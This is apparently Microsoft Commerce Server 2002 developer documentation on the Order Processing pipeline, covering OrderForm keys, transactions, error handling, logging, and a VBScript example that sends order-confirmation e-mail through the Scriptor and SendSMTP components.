DefaultPayment | Assigns an initial value to the _payment_auth_code key.
RequiredPayment | Ensures that the value of the _payment_auth_code key is not NULL.

Accept Stage (Purchase Pipeline)

The Accept stage handles the completed order, including initiating order tracking, generating purchase orders, and inventory.

The following table shows the components related to this stage.

Component | Description
ExecuteProcess | Executes an application on the server with the specified arguments.
MakePO | Generates a purchase order, based on a template file.
POtoFile | Sends a purchase order (typically the result of the MakePO component) to a file.
SaveReceipt | Writes the contents of the OrderForm object to the receipt storage.
SendSMTP | Sends an e-mail message to the specified address.
SQLItemADO | Runs the specified SQL command for each item in the order with the given fields from the order and item as arguments. This component uses Microsoft ActiveX Data Objects (ADO), and can be included in a transacted pipeline.
SQLOrderADO | Runs the specified SQL command once per order, with the given fields from the order as arguments. This component uses Microsoft ActiveX Data Objects (ADO), and can be included in a transacted pipeline.

See Also

Product Pipeline

Plan Pipeline


Using the Order Processing Pipelines

The Order Processing pipelines (OPP) provide much of the functionality for a working Web site. Therefore, understanding the components and processes of OPPs will aid in the development of a high-performance Web site.

This section contains:

  • OrderForm. Describes the structure of the OrderForm dictionary and how the OPP uses the dictionary.
  • Transactions and the Order Processing Pipeline. Describes the advantages of using transacted pipeline objects and how those objects work with COM+.
  • Error Handling in Pipelines. Describes the use of the MessageManager object with pipeline objects.
  • Using an Order Log. Describes how to use logging in pipelines when designing and debugging pipelines.
  • Displaying the Contents of an Order Form. Explains how to use Microsoft Visual Basic Scripting Edition (VBScript) in a Scriptor pipeline component to display the contents of an OrderForm dictionary.
  • Sending a Purchase Confirmation by E-mail. Explains how to automatically send a purchase confirmation by e-mail when a new order is received.
  • Using the Scriptor Component. Explains when and how to use the Scriptor Component.
  • Using the ExecuteProcess Component. Explains when and how to use the ExecuteProcess Component.
  • Component Coordination. Describes how components within a pipeline stage coordinate their use of common OrderForm object keys.
  • Specifying the Basis Item Key. Describes how to specify the Basis Item key.

See Also

Shipping Objects

Inventory Objects

Tax Objects


OrderForm

The Order Processing pipeline (OPP) requires that data passed from the site to the pipeline, and from the pipeline to the site, be in an OrderForm object. This requirement applies to components included in the default OPP and to components designed to extend it.

The following figure shows an overview of the OrderForm object.

An overview of the OrderForm object.

The OrderForm object is a dictionary containing individual entries, and entries that are Dictionary and SimpleList objects. The structure makes it possible to present a detailed summary of all or part of one or more shopping sessions to the user or to the pipeline. This summary includes user data, such as name, address, and credit-card information, as well as product information related to the purchase.

The first element in the top-level Dictionary object of the OrderForm object is a reference to a SimpleList object of the items that make up the order. Each of these items is itself another Dictionary object. This SimpleList object is referred to as the items list.

The elements that make up both the order Dictionary object and the Dictionary objects in the items SimpleList object consist of a key and a value. Each component that you include in the OPP for your site is designed to operate on one or more of these keys and values. Typical operations include:

  • Key and value creation. Several components create keys and values in an OrderForm object. For example, the QueryCatalogInfo component gathers information about a product from a database, prepends _product_ to the column name, and adds the resulting key and value to the OrderForm object.
  • Key and value initialization. The Required components in the OPP fall into this category. These components check to make sure that certain keys are initialized with values, and if they are not, these components initialize them. Thus, the RequiredOrderInitCy component, which is part of the Order Initialization stage, sets the _cy_total_total, _cy_oadjust_subtotal, _cy_shipping_total, _cy_tax_total, and _cy_handling_total keys to NULL.
  • Key and value verification. The OPP fails if certain keys and values in an OrderForm object are not initialized when the pipeline is invoked. For example, the RequiredOrderInitCy component verifies that the items SimpleList object on an OrderForm object is not empty. If this SimpleList object is empty, the component returns a status that indicates failure.
  • Key and value calculation. The optional components in the OPP initialize keys and values based on the work performed by other components. For example, the components in the Tax stage calculate the tax on an order, based on the list of items in the items SimpleList object of the OrderForm object, and writes the tax to the _tax_total key.

The underscore (_) character that precedes many of the keys in the OrderForm object indicates that the key is not persisted.

Note

  • The contents of an OrderForm object can vary, depending on how the pipeline for a site is configured.

Values Commonly Used in the OrderForm Object

Referencing Items in the OrderForm Object

Modifying the OrderForm Object

Values Commonly Used in the OrderForm Object

The following table lists the typical keys in the OrderForm object, and includes a brief description of each key. Where monetary values are involved, the currency version of the dictionary key is shown. For more information about naming conventions and currency data, see Currency Overview.

Key | Definition
item._cy_iadjust_currentprice | Contains the current price of the item. Whereas the _cy_iadjust_regularprice key contains the regular price of the item, this key reflects the regular price minus any promotional discounts.
item._cy_iadjust_regularprice | Contains the regular price of the item. The DefaultItemPrice component, in the Item Price stage, initializes this key to the value in the _product_list_price key. The RequiredItemPrice component ensures that this key is initialized. Some promotional components use this key as the basis for price adjustments. For example, if an item is to be reduced by a given percentage, that percentage is based on the value stored in the_cy_iadjust_regularprice key.
item._cy_oadjust_adjustedprice | Total cost of this item. This key contains the current price of the item times the quantity, minus discounts resulting from a promotion or sale.
item._cy_tax_included | Value that indicates how much tax is included in the cost of the item.
item._cy_tax_total | Total tax for the items of this stock-keeping number (SKU).
item._n_unadjusted | Number of items of this SKU that have not participated in a promotional price reduction.
item._product_* | Contains information about items of a given SKU. The key is initialized by the QueryProdInfoADO component. The key consists of the prefix _product_ followed by the name of the database table column from which the information was retrieved.
item.cy_placed_price | The price an item had when placed in the basket. This key is used to check for price changes during a purchase.
item.delete | A flag indicating the item should be deleted from the order. This key is set by the QueryCatalogInfo component and used by the RequiredProdInfo component.
item.discounts_applied | A dictionary containing the IDs of the discounts that apply to this item. Keys are the IDs, values are the date-time stamps of the discounts. This key is used by the OrderDiscount object.
item.list_price | List price of the item.
item.quantity | Number of items of a given SKU.
order._Basket_Errors | A SimpleList object in which components in the OPP store basket error messages retrieved from the MessageManager object.
order._cc_expmonth | Month in which the provided credit card expires.
order._cc_expyear | Day on which the provided credit card expires.
order._cc_number | Credit card number for the card used to finance this purchase. By default, the SaveReceipt component, which persists other information in the OrderForm object, does not save credit card numbers.
order._cy_handling_total | Total cost for handling the order. This value is initialized by the Handling stage components (TableHandlingADO, FixedHandling).
order._cy_oadjust_subtotal | Subtotal of all the items in the items list. This value, which is initialized by the DefaultSubtotal component, represents a total of the item._cy_oadjust_adjustedprice keys for each item in the list. The item._cy_oadjust_adjustedprice key represents the total for a given item (its quantity times its list price, minus promotional discounts).
order._cy_shipping_total | Total cost for shipping the items in the OrderForm object. By default, this is the key initialized by every shipping component.
order._cy_tax_included | Value that indicates how much tax is included in the cost of the order.
order._cy_tax_total | Total tax for this order. This key is initialized by the Tax stage components. How this value is calculated depends on the Tax stage component used.
order._cy_total_total | Total cost of the order, including the order subtotal, shipping, handling, and tax. This value is initialized by the DefaultTotal component, and is verified by the RequiredTotal component.
order._payment_auth_code | Payment authorization code for the order form.
order._Purchase_Errors | A SimpleList object in which components in the OPP store purchase error messages that are retrieved from the MessageManager object.
order._Verify_With | A dictionary whose keys and values are tested against keys and values in the order form.
order.cc_name | Name that appears on the credit card used to finance the purchase. This key is initialized prior to the submission of the OrderForm object to the OPP.
order.cc_type | Type of credit card submitted. Valid types are VISA, MC, AMEX, or Discover. The ValidateCCNumber component uses this type as the basis for performing routine validation on the credit card number.
order.order_id | Unique identifier for this order.
order.shipment._cy_tax_included | Total tax for the shipment included in the cost. This is part of the multiple-shipment shipping architecture.
order.shipment._cy_tax_total | Total tax for the shipment. This is part of the multiple-shipment shipping architecture.
order.shipments | A SimpleList object of dictionaries, one dictionary per shipment. This is part of the multiple-shipment shipping architecture.
order.shipments._cy_shipping_total | The shipping totals for each individual shipment. This is part of the multiple-shipment shipping architecture.
order.shopper_id | Unique identifier for the user who submitted this order. This key is initialized prior to the submission of the order to the OPP.

The following table lists the name/value pairs of an OrderForm object and the OPP components that read from or write to the specified pair. Where monetary values are involved, the currency version of the dictionary key is shown. In the case where there are components that use only the non-currency version of the key, both forms are shown. For more information about the naming convention and currency data, see Currency Overview.

Key | Read By | Written By
item._cy_iadjust_currentprice | Not applicable | Not applicable
item._cy_iadjust_regularprice | Not applicable | Not applicable
item._cy_oadjust_adjustedprice | Not applicable | Not applicable
item._cy_tax_included | Not applicable | Not applicable
item._cy_tax_total | Not applicable | Not applicable
item._iadjust_currentprice | DbOrderPromoADO, ItemPromo, RequiredItemAdjustPrice, RequiredOrderAdjustPrice | ItemPromo, RequiredItemAdjustPrice, SaleAdjust
item._iadjust_regularprice | ItemPromo, RequiredItemAdjustPrice, RequiredItemPrice | DefaultItemPrice
item._inventory_backorder | Not applicable | FlagInventory, LocalInventory
item._n_unadjusted | DbOrderPromoADO, RequiredOrderInit | RequiredOrderInit
item._oadjust_adjustedprice | RequiredOrderAdjustPrice, SimpleCanadaTax, SimpleJapanTax, SimpleUSTax, SimpleVATTax | DbOrderPromoADO, DefaultOrderSubtotal, RequiredOrderAdjustPrice, RequiredOrderInit
item._oadjust_discount | Not applicable | RequiredOrderAdjustPrice
item._product_* | QueryProdInfoADO | Not applicable
item._product_gst | SimpleCanadaTax | Not applicable
item._product_in_stock | FlagInventory | Not applicable
item._product_jpn_tax_included | SimpleJapanTax | Not applicable
item._product_jpn_tax_rate | SimpleJapanTax | Not applicable
item._product_list_price | DefaultItemPrice | Not applicable
item._product_local_inventory | LocalInventory | Not applicable
item._product_pst | SimpleCanadaTax | Not applicable
item._product_sale_end | SaleAdjust | Not applicable
item._product_sale_price | SaleAdjust | Not applicable
item._product_sale_start | SaleAdjust | Not applicable
item._product_tax_rate | SimpleVATTax | Not applicable
item._tax_included | Not applicable | SimpleCanadaTax, SimpleJapanTax, SimpleUSTax, SimpleVATTax
item._tax_total | Not applicable | SimpleCanadaTax, SimpleJapanTax, SimpleUSTax, SimpleVATTax
item._tax_vat_item | Not applicable | SimpleVATTax
item.cy_placed_price | RequiredItemAdjustPrice | RequiredItemAdjustPrice
item.delete | RequiredProdInfo, QueryProdInfoADO | Not applicable
item.discounts_applied | Not applicable | Not applicable
item.list_price | Not applicable | Not applicable
item.quantity | DbOrderPromoADO, FlagInventory, LocalInventory, ReduceLocalInventory, RequiredItemAdjustPrice, RequiredOrderInit | RequiredOrderInit
item.sku | LocalInventory, QueryProdInfoADO, ReduceLocalInventory | Not applicable
order._Basket_Errors | Not applicable | RequiredProdInfo
order._cc_expmonth | ValidateCCNumber | Not applicable
order._cc_expyear | ValidateCCNumber | Not applicable
order._cc_number | ValidateCCNumber | Not applicable
order._cy_handling_total | Not applicable | Not applicable
order._cy_oadjust_subtotal | Not applicable | Not applicable
order._cy_shipping_total | Not applicable | Not applicable
order._cy_total_total | Not applicable | DefaultTotal, RequiredOrderInit
order._handling_total | RequiredHandling, DefaultTotal | RequiredOrderInit, DefaultHandling, FixedHandling, LinearHandling, TableHandlingADO
order._oadjust_subtotal | RequiredOrderSubtotal, DefaultTotal | DefaultOrderSubtotal, RequiredOrderInit
order._payment_auth_code | RequiredPayment | DefaultPayment, RequiredOrderInit
order._Purchase_Errors | Not applicable | FlagInventory, LocalInventory, RequiredHandling, RequiredItemAdjustPrice, RequiredOrderCheck, RequiredPayment, RequiredShipping, RequiredTotal, ValidateCCNumber
order._shipping_total | RequiredShipping, DefaultTotal | DefaultShipping, FixedShipping, LinearShipping, RequiredOrderInit, TableShippingADO
order._shopper_* | Not applicable | DefaultShopperInfo, QueryProdInfoADO
order._tax_included | Not applicable | DefaultTax, RequiredOrderInit, SimpleCanadaTax, SimpleJapanTax, SimpleUSTax, SimpleVATTax
order._tax_total | DefaultTotal | DefaultTax, RequiredOrderInit, SimpleCanadaTax, SimpleJapanTax, SimpleUSTax, SimpleVATTax
order._tax_total_gst | Not applicable | SimpleCanadaTax
order._tax_total_pst | Not applicable | SimpleCanadaTax
order._Verify_With | RequiredTotal | Not applicable
order.bill_to_* | Not applicable | Not applicable
order.cc_name | Not applicable | Not applicable
order.cc_type | ValidateCCNumber | Not applicable
order.date_changed | Not applicable | Not applicable
order.items | Not applicable | Not applicable
order.order_id | Not applicable | RequiredOrderInit
order.ship_to_city | Not applicable | Not applicable
order.ship_to_country | SimpleCanadaTax, SimpleJapanTax, SimpleVATTax | Not applicable
order.ship_to_state | SimpleCanadaTax, SimpleUSTax | Not applicable
order.ship_to_street | Not applicable | Not applicable
order.ship_to_zip | TableShippingADO, TableHandlingADO | Not applicable
order.shipment._cy_tax_included | Not applicable | Not applicable
order.shipment._cy_tax_total | Not applicable | Not applicable
order.shipments | Not applicable | Not applicable
order.shipments._cy_shipping_total | Not applicable | Not applicable
order.shipping_method | TableShippingADO, TableHandlingADO | Not applicable
order.shopper_id | Not applicable | Not applicable

Referencing Items in the OrderForm Object

Dictionary items are identified both by their names and by the section of the OrderForm object they are in. Thus, the cc_name item in the order Dictionary object is referenced as follows:

order.cc_name

Similarly, the elements of items in the items SimpleList object are prefixed with the word item:

item.SKU

This form of reference, while not necessarily technically accurate, allows for clarity of the description.

Modifying the OrderForm Object

When you pass an OrderForm object to the Order Processing pipeline (OPP), the OrderForm object must already be initialized with certain data elements.

You can modify an OrderForm object in any of the following ways:

  • By direct assignment. To initialize the shopper_id key on a page, you can make a direct assignment:
    objOrderForm.shopper_id = objPage.GetShopperID()
  • By using the native methods of the OrderForm object. The OrderForm object implements the AddItem, ClearItems, and Clear methods, which are designed to add items to the items SimpleList object, clear items from the items SimpleList object, and clear the entire OrderForm object, respectively.
  • By using the DBStorage object. The DBStorage object is designed to load a row of data from a database table into an OrderForm or Dictionary object. For more information, see DBStorage Object.


Transactions and the Order Processing Pipeline

A transaction is a series of operations performed as a single unit. In case of an error, the operations in a transaction can be undone. In the Active Server Pages (ASP) environment, transactions occur on a per-page level. To mark an ASP page as one that requires a transaction, you include the following script at the top of the ASP page:

<%@ LANGUAGE=VBScript Transaction=Required%>

When you mark an ASP page as transacted, the objects created on the page and the work those objects perform become part of the transaction, provided the objects are registered on the server as components supporting transactions. In the event of an error, the work performed by those objects can be rolled back.

Suppose, for example, that you create an ASP page that includes an object using Microsoft ActiveX Data Objects (ADO) to insert or update data in a database. In the event that this component fails, you can call the SetAbort method of the ObjectContext object to abort the transaction. This will undo all of the modifications made by the object to the database.

Note

  • In Windows 2000, the transaction support provided by Microsoft Transaction Server (MTS) is now incorporated in COM+. The COM+ transaction support provides full backward compatibility with MTS. However, COM+ provides significant extensions to transactions. For more information, search for "More on Porting Applications from MTS to COM+" on the MSDN Web site.

Calling Transacted Pipeline Objects

The Commerce Server Order Processing pipeline (OPP) supports COM+ transactions through the MtsTxPipeline and PooledTxPipeline objects. These objects are marked as requiring a transaction. If you create an MtsTxPipeline object or a PooledTxPipeline object on an ASP page not marked as requiring a transaction, there is still a transaction, but the transaction includes only the pipeline and the components it runs. To extend the transaction to all operations on the page, the page must be marked as requiring a transaction.

In either case, the transaction support of the MtsTxPipeline object and the PooledTxPipeline object provides many benefits to the site developer. Most importantly, transaction support means that if any component in an MtsTxPipeline object or PooledTxPipeline object fails, the work of the preceding components in the pipeline is rolled back, and the pipeline object ends the transaction.

The transaction support of the MtsTxPipeline object and the PooledTxPipeline object is especially useful with pipeline components that modify the site database. If you use components that modify the site database, and a component following them fails, the modifications the components made to the site database are automatically rolled back. This is true whether or not the page is transacted because, as described above, the pipeline and the components it runs are always transacted.

For more information about the transacted pipeline objects, see MtsTxPipeline Object and PooledTxPipeline Object.


Error Handling in Pipelines

Error handling in a Commerce Server 2002 Web site revolves around the interaction of the Order Processing pipeline (OPP) with the OrderForm object, the pipeline objects (MtsPipeline, MtsTxPipeline, PooledPipeline, and PooledTxPipeline), and the MessageManager object.

The OrderForm object provides a detailed, in-memory summary of one or more shopping sessions, including merchant, user, and item information. You pass an initialized OrderForm object to the OPP by calling the Execute method of the pipeline object you are using.

As the OrderForm object goes through various stages of the OPP, the components in each stage read and write values to and from the OrderForm object.

For error processing, the critical members of the OrderForm object are its _Basket_Errors and _Purchase_Errors collections. These collections store strings describing error conditions the OPP detects while processing other elements of the OrderForm object.

The _Basket_Errors collection is used to indicate inconsistencies in the order form data that should be noted whenever the basket is displayed. Basket errors are specific to items in the basket, and are used to make the customer aware of any such problem as soon as possible. One such error is that the price of a product as shown in the basket does not match the price as listed in the product database. This error might occur, for example, if the price has been changed between the time the customer put the item in the basket and the time the purchase has been completed.

The _Purchase_Errors collection applies to the order as a whole. This collection is used to indicate failures in the purchasing process, such as denial of a credit card. Purchase errors are those that would be discovered only when the customer attempts to make the purchase.

The OPP gets the error strings from the MessageManager object. The MessageManager object is the central repository of locale-based error messages for a site. Each message stored in the MessageManager object consists of a string that describes a given error condition, and a string identifier that uniquely identifies the message to the OPP. The MessageManager object creates the association between the string identifier and the string message through the AddMessage method that adds a message to the MessageManager object.

Although the string describing an error can vary from one site to the next, the string ID identifying a message does not change. For example, if the OPP is unable to validate a credit card in the OrderForm object, the pipeline attempts to retrieve the string associated with the message ID pur_bad_cc in the MessageManager object for the site. If the site developer has not associated a string with this message ID, a fatal error will cause the pipeline to stop. Otherwise, the OPP retrieves this message and writes it to the _Purchase_Errors collection in the OrderForm object. When the Execute method returns, you can examine this collection, and the strings in it can be used to provide site users with detailed descriptions of errors that occurred during order processing. For more information, see MessageManager Object.

Note

  • Commerce Server pipeline components are not designed to retry after a failed attempt. When the pipeline stops processing, the pipeline process fails and the order is not processed.

See Also

Error Levels

Error Handling


Using an Order Log

There are two ways to view Order Processing pipeline (OPP) information. You can create an OPP run-time information log, which includes all the keys and values written to the OrderForm object by each component in each stage. You can also view the contents of the OrderForm object by using the DumpOrder sample Scriptor component. The DumpOrder sample is available in the Order Sitelet at: <Drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Order Sitelet\source\pipeline.

You can log run-time information for each stage in the pipeline to a text file. By doing so, you see each stage and each component within that stage as it is run, including the information written to the OrderForm object at each stage. This is especially useful for debugging an Order Processing pipeline. To do this, add a call to the SetLogFile method before the call to the Execute method.

When you run the pipeline, stage and component information is written to the file you specify.

Note

  • For the log file to be created, you must specify a location in which you have write permission; otherwise, the log file creation will fail without a warning. Also be sure to comment out or delete the SetLogFile method when you have finished debugging the pipeline. Logging significantly slows down pipeline execution.

In the log file, components are numbered in the order that they are run and listed by name, but are not separated by pipeline stage.

A log file is easier to read if you use a spreadsheet application, such as Microsoft Excel, to view it.


Displaying the Contents of an Order Form

A sample Microsoft Visual Basic script, DumpOrder.vbs, is supplied in the <Drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Order Sitelet\source\pipeline subdirectory. When it runs, the DumpOrder script writes the contents of the OrderForm object to a file.

To use the DumpOrder script

  1. Add the Scriptor component to any stage in the pipeline. Double-click the Scriptor component icon. In the resulting property page, click the Scriptor tab, click VBScript in the Language drop-down list, and then click File.
  2. In the File box, type the path to the DumpOrder.vbs script (or click Browse to find it).
  3. The DumpOrder.vbs script takes a file name as a parameter, so type the full path name of the output file in the Config field. For example, filename=c:\order.log.
  4. Click OK, and then save the pipeline configuration file.
  5. Stop and restart Internet Information Services (IIS), or modify the Global.asa file to restart the application. The DumpOrder.vbs script will write a file with the name you specified as a parameter when the Order Processing pipeline runs.

See Also

Scriptor

Configuring a Scriptor Component


Sending a Purchase Confirmation by E-mail

This section describes the procedure for adding a pipeline component that will automatically send an e-mail order confirmation message when a new order is received. This example assumes that an e-mail address is required when users fill out their profile. This e-mail address is stored with the user information, and is therefore available in the order form.

In this example, the format of the confirmation e-mail is as follows:

Subject: Order Confirmation

Thank you for shopping at our store. Your order is confirmed.

Tracking number: 93LFF5XNE9SK2TVX00L1R0D9N7

Total purchase: $57.25

This section contains:

Step 1: Adding the text strings to the MessageManager object

Step 2: Creating a script to format the e-mail message

Step 3: Adding the Scriptor component to the pipeline

Step 4: Adding the SendSMTP component to the pipeline

Step 1: Adding the text strings to the MessageManager object

The first step is to add the text of the message to the MessageManager object. Although this step is not strictly necessary (the text could appear as string literals in the script), using the MessageManager object centralizes all text for the site and makes it easy to add support for additional languages at a later time. Add the necessary messages to the MessageManager object by performing the following steps:

  1. Using a text editor, such as Notepad, open the retail site Global.asa file. The file is usually located at C:\Inetpub\wwwroot\retail.
  2. After the call to Main at the end of the list of MessageManager strings, add the following lines:
    Dim oMessageManager
Set  oMessageManager = Server.CreateObject(""Commerce.MessageManager"")
Call oMessageManager.AddLanguage(""usa"", &H0409)
Call oMessageManager.AddLanguage(""FRA"", &H040c)
Call oMessageManager.AddLanguage(""ENC"", &H1009)
oMessageManager.defaultLanguage = ""usa""
Call oMessageManager.AddMessage(""email_subject"", ""Order Confirmation"")
Call oMessageManager.AddMessage(""email_body"", ""Thank you for shopping at our store. Your order is confirmed. "")
Call oMessageManager.AddMessage(""email_tracking"", ""Tracking number: "")
Call oMessageManager.AddMessage(""email_total"", ""Total purchase: "")

Step 2: Creating a script to format the e-mail message

After the proper code has been added to the Global.asa file, the next step is to create a script that formats the e-mail message. The script is to be used in a Scriptor component. The script must add the subject and message body text to the order form, so that a later component in the pipeline can send the e-mail.

Create a file named Email.vbs in the <drive:>\Inetpub\wwwroot\<sitename>\pipeline directory. Using a text editor such as Notepad, type or copy the following script into the file:

Function mscsexecute(config, orderform, context, flags)
    Dim oMessageManager, oDataFunctions
    Set oMessageManager = context.MessageManager
    Set oDataFunctions = context.DataFunctions

    orderform.[_email_subject] = _
              oMessageManager.GetMessage(""email_subject"")
    orderform.[_email_body] = _
              oMessageManager.GetMessage(""email_body"") _
              & chr(10) & chr(13) _
              & oMessageManager.GetMessage(""email_tracking"") _
              & orderform.[order_id] _
              & chr(10) & chr(13) _
              & oMessagemanager.GetMessage(""email_total"") _
              & oDataFunctions.Money(CLng(orderform.[_total_total]))
    mscsexecute = 1
End Function

When this script is run by the Scriptor component in the pipeline, it adds two new fields to the order form: _email_subject is used as the subject line for the e-mail, and _email_body is used as the body of the e-mail.

The script formats these strings by getting the appropriate messages from the MessageManager object and concatenating these strings with values from the order form, including the tracking number (order_id) and the purchase total (_total_total).

mscsMessagemanager.GetMessage(""email_tracking"") & orderform.[order_id]

generates this portion of the e-mail message body:

Tracking number: 93LFF5XNE9SK2TVX00L1R0D9N7

To format the total price as text in the local currency, the price is converted from numeric form as it is stored in the order form, using the DataFunctions.Money method.

Because the script uses methods of both the MessageManager object and the DataFunctions object, it first creates references to these objects. These references are provided by the PipeContext dictionary, which is passed in as an argument to the pipeline.

The function concludes with the following script, which indicates that the component ran successfully in the pipeline:

mscsexecute = 1

Note

  • In a site where the e-mail field is optional, make sure that the SendSMTP component does not attempt to send e-mail. You can disable the SendSMTP component by submitting a To field that contains the text None. The Email.vbs script can check for the existence of an e-mail name. If the user did not provide such a name, the script would substitute the text None.

Step 3: Adding the Scriptor component to the pipeline

In order to run the Email.vbs script within the OPP, a Scriptor component must be added to the Purchase pipeline configuration, as described in the following steps:

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. Open the Purchase.pct template, or the purchase pipeline for your site. Pipelines used in active sites are usually stored at C:/Inetpub/wwwroot/<site name>/pipeline.
  3. Open the Accept stage.
  4. Right-click the last component in that stage, or on the Accept stage itself if there are no components in the stage.
  5. Right-click Insert Component, and then click After.
  6. In the Choose a component dialog box, click Scriptor, and then click OK.

    The Scriptor component is added to the Accept stage.

  7. Double-click the Scriptor component icon.
  8. In the Component Properties dialog box, do the following:
    Use this | To do this
    Scripting Engine | Select VBScript.
    Source | Select External.
    Filename | Click Browse to find the location of the Email.vbs file, or type the path to the Email.vbs file.
  9. On the Component Properties tab, edit the Label box to provide a more helpful description (for example, Scriptor: Email.vbs (Format e-mail confirmation).
  10. Click OK to close the property page.

Step 4: Adding the SendSMTP component to the pipeline

The final step is to add the SendSMTP component to the Purchase pipeline configuration:

  1. In the Pipeline Editor, right-click the Scriptor component that you just added in Step 3: Adding the Scriptor Component to the Pipeline.
  2. Right-click Insert Component, and then click After.
  3. In the Choose a component dialog box, click SendSMTP, and then click OK.
  4. Double-click the SendSMTP component or its icon in the Pipeline Editor.
  5. In the Component Properties dialog box, on the SendSMTP tab, do the following.
    Use this | To do this
    From | Type the e-mail account of the computer from which the e-mail is sent.
    SMTP Host | Type the active SMTP host name that the computer uses to send e-mail.
    To | Type _shopper_email.
    cc | Leave blank.
    Subject | Type _email_subject.
    Message Body | Type _email_body.
    Message Body Contains | Select one of the three choices based on the content of your e-mail. For our example, select Text Body.

    These values in the OrderForm object will be used to format the e-mail. On the To line, _shopper_email is part of the user information that is added to the order form; on the Subject and Message Body lines, _email_subject and _email_body are the values added to the order form by the Email.vbs script.

  6. In the Component Properties dialog box, on the SendSMTP tab, do the following:
    Use this | To do this
    Email address to send test message to | Type an e-mail address to send the test message to.
  7. Click Send test Email.
  8. On the Component Properties tab, in the Label box, type a description.
  9. Click OK to close the property pages.
  10. On the File menu, click Save As.
  11. In the Save As dialog box, browse to the location where you would like to save the file, and then click Save.
  12. On the File menu, click Exit.

Reload the site so that your changes to the Global.asa file take effect.

Note

  • When adding components to a pipeline, it is important to consider the order in which the components appear. In the case of confirmation by e-mail, after the SendSMTP component has successfully sent the e-mail, the e-mail cannot be recalled if subsequent pipeline components fail. For this reason, the e-mail components have been placed last in the pipeline configuration. In this way, the e-mail is sent only if all other components succeed.

Using a Template

Depending on the complexity of the text you want in the e-mail reply, you might prefer to use a template to generate the e-mail message body. The component combines values on the order form with text in a template file.

To use a template, create a script to format the subject line and to convert any numeric values to their displayable text form. The following script does not generate the message body. The following file, Email.vbs, is loaded into a Scriptor component:

Function mscsexecute(config, orderform, context, flags)
    Dim mscsDataFunctions
    Set mscsDataFunctions = context.DataFunctions

    orderform.[_email_subject] = ""Order Confirmation""
    orderform.[_email_total] = mscsDataFunctions.Money(CLng(orderform.[_total_total]))
    mscsexecute = 1
End Function

Next, create a template file. In this example, the file is named Confirm_Template.vbs, and resides in the <drive:>\Inetpub\wwwroot\<sitename>\pipeline directory:

Thank you for shopping at our store. Your order is on its way.

Tracking number: <%%= order_id %%>
<%% Dim nItemcount
    nItemCount = Items.Items.count
if (nitemcount > 0) then
    dim iItem,Item
    for iItem = 0 to nitemcount - 1
    Set Item = Items.Items.Item(iItem) %%>
<%%= item.quantity %%> <%%= item.[_product_name] %%> <%%
    next
end if  %%>

Total purchase: <%%= [_email_total] %%>

Using the Pipeline Editor, insert a MakePO component in the Accept stage, immediately following the Scriptor component. Open the Component Properties dialog box by right-clicking the component and clicking Properties. Specify the Template File Name to indicate the template file just created (Confirm_Template.exe). Specify the Output Property Name as _email_body. The MakePO component, when run, will merge the template text with the values on the order form specified by the commands in the template, and will write the result to the _email_body name/value pair in the order form.

Insert the SendSMTP component after the MakePO component as described in Step 4: Adding the SendSMTP Component to the Pipeline. The SendSMTP component, when run, will use the subject line text generated by the Scriptor component, and the body message generated by the MakePO component.

The following is an example of a message body generated by this template:

Thank you for shopping at our store. Your order is on its way.

Tracking number: 8BMKQ3NHKES12M9D00L1R0D8N7

1 Plastic Commuter Mug

Total purchase: $14.28


Using the Scriptor Component

The Scriptor component makes it possible to insert code modules into your pipeline. These modules are written using Microsoft Visual Basic Scripting Edition (VBScript). From within a Scriptor component, you can access the OrderForm object, access pipeline context information, create other objects, and even run other pipelines. In addition, because the Scriptor component supports configuration parameters, the Scriptor component provides perhaps the easiest way to write custom components for the Order Processing pipeline (OPP).

When you add a Scriptor component to your pipeline, you configure the component by using the Component Properties dialog box. For more information about using the Component Properties dialog box, see Configuring a Scriptor Component.

Scriptor Methods

To display the property pages for a Scriptor component in the Pipeline Editor, select Internal, and then click the Edit button. The Scriptor component displays an edit window that contains the three routines that the Scriptor component can process:

''The following entry points are available (shown in VBScript format):

function MSCSExecute(config, orderform, context, flags)

    MSCSExecute = 1

end function

sub MSCSOpen(config)

end sub

sub MSCSClose()

end sub

These routines are called entry points for the Scriptor component, and you can think of them as you would think of the event handlers for a Visual Basic object or Microsoft ActiveX control. You fill in the body of these routines with your own task-specific scripting code, and when the Order Processing pipeline (OPP) runs the Scriptor component, it runs the code that you write.

The script that you write for your MSCSOpen subroutine is run immediately after the Scriptor component is created. The MSCSExit subroutine is run after the Scriptor component is destroyed. The MSCSExecute function is called after the MSCSOpen subroutine, but before the MSCSExit subroutine.

Of the three exports that make up a default Scriptor component, only the MSCSExecute function is required. The parameters that the Scriptor component passes to this function include the following:

  • config. The configuration Dictionary for the script, which contains the information in the following table.
    Name | Value
    User-defined configuration parameters | Parameter value. For example, if you type tax=1 in the Config box on the property page for the Scriptor component, the tax name/value pair appears in the Configuration dictionary.
    script_type | Identifies whether the script is internal or external. If it is internal, script_type contains the value INTERNAL; otherwise, it contains the value EXTERNAL.
    script_text | Contains the entire script for the component.
    script_name | Contains the fully qualified path to the file that contains the script to run. If the script_type is INTERNAL, this name/value pair does not contain a value.
    engine_prog_id | Identifies the scripting engine used to interpret the script. Possible values are VBScript and JScript.
  • orderform. The OrderForm object that you pass to the Execute method of the pipeline object.
  • context. The Context dictionary that you pass to the Execute method of the pipeline object.
  • flags. The flags that you pass to the Execute method of the pipeline object.


Using the ExecuteProcess Component

The ExecuteProcess component runs a specified executable, passing the executable the arguments that you provide. The process must not display any user interface elements. This component is typically run during the Accept stage, but can be run in any stage.

See Also

ExecuteProcess


Component Coordination

Because Commerce Server 2002 pipeline components run in a linear fashion, certain coordination must exist between the components. Component coordination is critical when multiple components exist within the same stage but only some of the components in the stage are implemented. The components that are implemented correlate to the actions of the Web site user. For example, the Payment stage might include one component that implements payment by electronic currency, and another that charges to a credit card. But you only want to run the component that corresponds to the request made by the user. If the user would like to pay by credit card, the payment by electronic currency component should not be run.

The Commerce Server pipeline architecture dictates that components in certain stages must coordinate to allow such multiple-choice components to exist in the same stage. The components that come with Commerce Server 2002 already follow this convention, and special care must be taken when writing your own components to ensure that they follow this convention.

Keep the following in mind when you create new components:

  • If the value that the component is supposed to compute is already set when the pipeline component begins running, the component should immediately exit. For example, if the user chooses to pay by credit card and the credit card component is run before the electronic currency component, then the credit card component will set the payment_method key to credit card. Then, when the electronic currency component is run, it should see that the payment_method key has been set and should exit.
